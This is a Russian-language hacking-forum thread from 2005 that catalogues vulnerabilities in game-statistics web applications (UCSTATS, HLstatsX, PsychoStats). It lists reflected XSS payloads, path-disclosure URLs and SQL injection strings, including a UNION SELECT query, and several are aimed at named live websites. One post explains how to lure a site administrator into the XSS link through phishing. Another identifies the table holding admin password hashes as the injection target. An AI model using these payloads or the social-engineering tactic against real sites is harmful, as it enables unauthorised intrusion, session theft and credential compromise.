PDA

Просмотр полной версии : Уязвимости игровых статистик


max_pain89
16.09.2005, 21:01
UCSTATS 1.1

Пример: http://cs.shadowzone.ru/stats/

XSS пассивный
stats.php?game=<script>alert();</script>
stats.php?q=search&query=%22%3E%3Cscript%3Ealert();</script>&qtype=name
Полное раскрытие пути
stats.php?game=../..
http://cs.shadowzone.ru/stats/stats.php?game=cstrike&q=player&uid=cec315cf55f1af878ce9cd8b852dc4fd&section=weapons&sort=-1&dir=-1
http://cs.shadowzone.ru/stats/stats.php?game=cstrike&q=player&uid=cec315cf55f1af878ce9cd8b852dc4fd&section=maps&sort=map&dir=-1

пассивный SQL-inj
stats.php?game=cstrike&q=player&uid=верный юид&section=weapons&sort=weapon_kills_percent&dir=asc1
http://cs.shadowzone.ru/stats/stats.php?game=cstrike&q=player&uid=cec315cf55f1af878ce9cd8b852dc4fd&section=weapons&sort=weapon_kills_percent&dir=asc1

Что-то наклёвывается SQL
http://cs.shadowzone.ru/stats/stats.php?game=cstrike&q=awards&month=2&year=-1%20UNION%20SELECT%20award_month,%20award_month%20 FROM%20ucstats_awards%20WHERE%20GAME=cstrike%20AND %20award_year=2005%20ORDER%20BY%20award_month%20DE SC/*

stats.php?game=cstrike&q=awards&month=2&year=[SQL]

HLstatsX RC 10

Пример: http://www.halflife2.ainet.at/hlstats.php

XSS пассивный
hlstats.php?mode=admin в поле UserName вписать: "><script>
hlstats.php?mode=actioninfo&action=Dropped_The_Bomb<script>alert()</script>&game=css
hlstats.php?mode=mapinfo&map=<script>alert()</script>&game=css
hlstats.php?mode=search&q="><script>alert()</script><a%20scr="&st=player&game=css
hlstats.php?mode=search&q=2&st="><script>alert()</script><a%20scr="&game=css&sort=name1

PsyhoStats 2.3

Пример: http://www.cs-source.ru/stats/

Полное раскрытие пути
imgskill.php?plrid=9&w=0


Если что-то еще нашли, постите

PinkPanther
16.09.2005, 23:20
da, ochen daje neplohaya podborka...

max_pain89
18.09.2005, 18:52
А использовать "пассивы" можно так....

Прислать письмо, либо в личку админу:

Почему у вас эта хрень не работает http://cs.shadowzone.ru/stats/ (http://cs.shadowzone.ru/stats/stats.php?q=search&query=%22%3E%3C%73%63%72%69%70%74%3E%61%6C%65%72%7 4%28%29%3B%3C%2F%73%63%72%69%70%74%3E&qtype=name&game=cstrike)
При этом он попадет не на http://cs.shadowzone.ru/stats/, а на страницу с кодом

А также можно: почему не заходит??? Или почему выдает ошибку????

Вобщем соц. инженерия,фишинг, если админ лох...

max_pain89
13.10.2005, 23:37
Раскрытие пути в PsyhoStats 2.3 с qPS 2.3.1 Mod 3 Final Full
http://www.cs-source.ru/stats/downloads.php?dir=1

и здесь же XSS

http://www.cs-source.ru/stats/downloads.php?dir=<script>alert()</script>

max_pain89
17.12.2005, 13:23
======================# Продукт: #=======================


HLstatsX - Realtime player statistics
http://www.hlstatsx.com/
http://www.hlstatsx.com/downloads/HLstatsX_V1.00.zip


===================# Уязвимые версии: #===================

HLstatsX >= 1.00 Final

=======================# Описание: #======================

Скрипт playerinfo.inc вообще не фильтрует параметр
$killLimit, который присутствует в 2 SQL-запросах.

Это может быть использовано для удаленной SQL-инъеккции.

hlstats.php?mode=playerinfo&player=1&killLimit=[SQL]

======================# Интересно: #======================

Интересно то, что при выводе ошибки синтакса запроса,
выводится host и username SQL-базы! Как они не догадались
пароль выводить?



Provided by max_pain89

froZen*
21.12.2005, 01:02
А неподскажешь какую sql команду выполнять и как будет выглядеть плз

max_pain89
21.12.2005, 13:19
там запрос
$result = $db->query("
SELECT
SUM(hlstats_Frags_Kills.headshot) as headshots
FROM
hlstats_Frags_Kills
GROUP BY
hlstats_Frags_Kills.playerId
HAVING
Count(hlstats_Frags_Kills.kills) >= $killLimit
");
но сам я сплойт написать не могу, знаю талько что пароль админа хранится тут

--
-- Таблица `hlstats_Users`
--

CREATE TABLE `hlstats_Users` (
`username` varchar(16) NOT NULL default '',
`password` varchar(32) NOT NULL default '',
`acclevel` int(11) NOT NULL default '0',
`playerId` int(11) NOT NULL default '0',
PRIMARY KEY (`username`)
) TYPE=MyISAM;